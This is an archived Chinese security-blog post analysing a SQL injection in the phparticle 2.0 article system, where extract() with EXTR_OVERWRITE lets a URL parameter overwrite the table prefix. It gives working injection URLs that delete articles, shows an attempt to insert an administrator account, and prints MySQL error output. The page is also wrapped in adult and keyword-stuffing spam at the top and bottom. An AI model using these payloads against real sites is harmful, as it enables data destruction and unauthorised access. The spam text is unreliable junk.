成人在线你懂的-成人在线免费小视频-成人在线免费网站-成人在线免费视频观看-日韩精品国产一区二区-日韩精品国产一区

掃一掃
關注微信公眾號

phparticle 2.0注入漏洞測試分析
2005-12-17   

phparticle是PHP中最好的文章系統了,好像至今還沒有被黑的記錄,我以前學習PHP的時候就是看這個文章系統的代碼,感覺和VBB很相似,而且也仔細分析過,沒有什么漏洞,后來掌握PHP后,也就沒有再去分析他。給我的感覺是很安全的。

前段時間小花和我說phparticle有一個變量沒有初始化,我看了看,的確可以構造這個變量,而且任意一個頁面都可以的,危害嘛,我沒有能力拿到有意義的東西,但是要破壞簡直輕而易舉,唉,終于明白破壞比建設簡單的原因了。

/global.php文件開頭是這樣寫的:

<?php
error_reporting(7);

if ($showqueries==1 OR $_GET[showqueries]==1){
$script_start_time = microtime();
}

require "admin/config.php";
require "admin/class/mysql.php";
require "admin/configs/setting.php";

//var_dump($configuration);
//extract($configuration,EXTR_SKIP);

extract($configuration,EXTR_OVERWRITE);

/admin/configs/setting.php文件中,變量$configuration是一個數組,是整個文章系統的配置參數,為了減少查詢次數,把數據庫的配置信息,寫進文件,速度自然快很多,這個本來一切很正常很正常,但是一行代碼,就足以讓phparticle的數據可以瞬間消失。

extract($configuration,EXTR_OVERWRITE);

extract()函數在PHP手冊上是這么寫的:


int extract ( array var_array [, int extract_type [, string prefix]])


本函數用來將變量從數組中導入到當前的符號表中。接受結合數組 var_array 作為參數并將鍵名當作變量名,值作為變量的值。對每個鍵/值對都會在當前的符號表中建立變量,并受到 extract_type 和 prefix 參數的影響。

注: 自版本 4.0.5 起本函數返回被提取的變量數目。

注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引進的。

注: EXTR_REFS 是版本 4.3.0 中引進的。

extract() 檢查每個鍵名看是否可以作為一個合法的變量名,同時也檢查和符號表中已有的變量名的沖突。對待非法/數字和沖突的鍵名的方法將根據 extract_type 參數決定。可以是以下值之一:


EXTR_OVERWRITE
如果有沖突,覆蓋已有的變量。


很顯然,這里可以覆蓋任意變量,甚至系統變量,包括$_GET,$_POST等,真的不明白為什么作者要把上面那行給注釋掉用這個“EXTR_OVERWRITE”。

最關鍵的變量是admin/config.php下的$db_prefix變量,這是表前綴,這個是最有用的,因為phparticle里面的所有查詢都會在表面使用這個變量,肯定能造成SQL注入,但條件極為苛刻。從表的前綴這里構造一個完整的SQL QUERY。然后把后面的語句給注釋掉。呵呵,說不定還可以load_file或者into outfile,竊喜~~

但是實際上并沒有這么順利,為了更清晰的測試。我就為所有的SQL QUERY設置了一個變量$sql,然后在系統的首頁輸出,來看看首先執行的SQL語句是什么,是SELECT就可以注入,這樣能得到很多有用的信息。甚至……,如果是INSERT更好了,直接構造語句插入一個管理員,是UPDATE也可以,把我注冊的用戶UPDATE成管理員組的角色,是DELETE嘛,就可以刪除任意數據,結果輸出的語句是“DELETE FROM pa_session WHERE expiry<1103398532 111111111”,如圖:


非常惱火,如果這個DELETE語句錯誤的話,就會顯示MYSQL的錯誤信息,并停止運行程序,根本不可能執行下一句SQL語句,惱火。而且phparticle的容錯處理非常不錯。沒辦法返回WEB的物理路徑,如果當前的用戶不是管理員,連MYSQL錯誤信息都不能看到,我在本地測試的,因為是管理員,所以MYSQL的出錯信息都返回到屏幕上,對我們測試更加有幫助,咱們構造一個完整的DELETE語句看看,成功以后,應該會繼續執行下一句SQL QUERY,我就隨便提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=angel

結果返回:

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: DELETE FROM angelsession WHERE expiry<1104152890
Mysql error description: Table 'article20.angelsession' doesn't exist
Mysql error number: 1146
Date: 2004-12-27 @ 21:08
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=angel
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

錯誤了,表不存在,不過數據庫名字已經出來了,就是article20,當然實際應用是看不到這些信息的,因為phparticle有比較完善的會話檢查,所以不管瀏覽或是刷新任何一個頁面,都會先對session表操作,刪除用戶的會話,更新會話,查詢會話,都會有操作,因為用戶登陸,在線用戶,還有用戶的狀態,都是用session記錄的,了解這些以后,開始構造一個完整的DELETE語句再看看下一步該怎么做:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article where articleid=1/*

返回:

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: SELECT COUNT(DISTINCT ipaddress) AS total FROM pa_article where articleid=1/*session WHERE expiry>1104153004
Mysql error description: Unknown column 'ipaddress' in 'field list'
Mysql error number: 1054
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: INSERT INTO pa_article where articleid=1/*session (sessionid,expiry,value,userid,ipaddress,useragent,location,lastactivity)
VALUES ('a9fdc1b9d7e37b92686fb46486b41d20',1104154444,'pauserinfo|a:1:{s:14:\"timezoneoffset\";s:1:\"8\";}','','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)','/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*','1104153004')
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where articleid=1/*session (sessionid,expiry,value,userid,ipaddr
Mysql error number: 1064
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0

再看看文章系統。文章已經成功刪除。但是SQL QUERY卻停留在SELECT上面了,而且出錯信息已經終止了程序的運行,導致無法執行下一個SQL QUERY,但是從出錯的頁面看來,INSERT語句也用我們的參數執行了,如圖:

 



我就想能不能直接構造INSERT語句加一個管理員呢?

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*

結果返回,看來行不通,在第一句SQL QUERY的時候,就出錯終止了。

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: DELETE FROM pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*session WHERE expiry<1104153372
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101
Mysql error number: 1064
Date: 2004-12-27 @ 21:16
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user%20VALUES%20(null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*
Referer:


請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

到了這個地步,我只能無奈的提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article/*

結束了這次測試。

看來這個phparticle寧死不屈,只能揉捏她,而不能占有她啊……如果哪位仁兄能占有她,記得和我分享啊。


熱詞搜索:

上一篇:用Winsock實現對網站數據庫的數據注入
下一篇:MSSQL db_owner角色注入直接獲得系統權限

分享到: 收藏
主站蜘蛛池模板: 欧美gv网站| 甘婷婷照片| xxoo电影| 北京卫视电视节目单| 保镖电影大全免费| 祝福宝贝生日的祝福语| 汤晶锦| av电影网| 电影《村小的孩子》完整版| 小野惠令奈| 王牌替身免费观看全集| 古今大战秦俑情电影| bustybuffy| 我的世界,视频| 金时厚| 狼来了ppt免费下载| 爱奈| 天地无伦| 爱情最美丽 电视剧| 诡娃| 放下一个人最狠的网名| 凶间雪山| bb88| 羞羞短视频| 周超个人资料简介| 女孩们在线观看| 练习曲电影| 闪婚后傅先生马甲藏不住了免费播放| 范冰冰性感| 掐脖子的视频| 水浒传潘巧云| 显示驱动| 电影双面情人| 性视频在线播放| 斯维特拜克之歌| 声色犬马 电影| 里番动漫在线观看| 显示驱动| 女同视频在线观看| la ciociara| 永夜星河主演|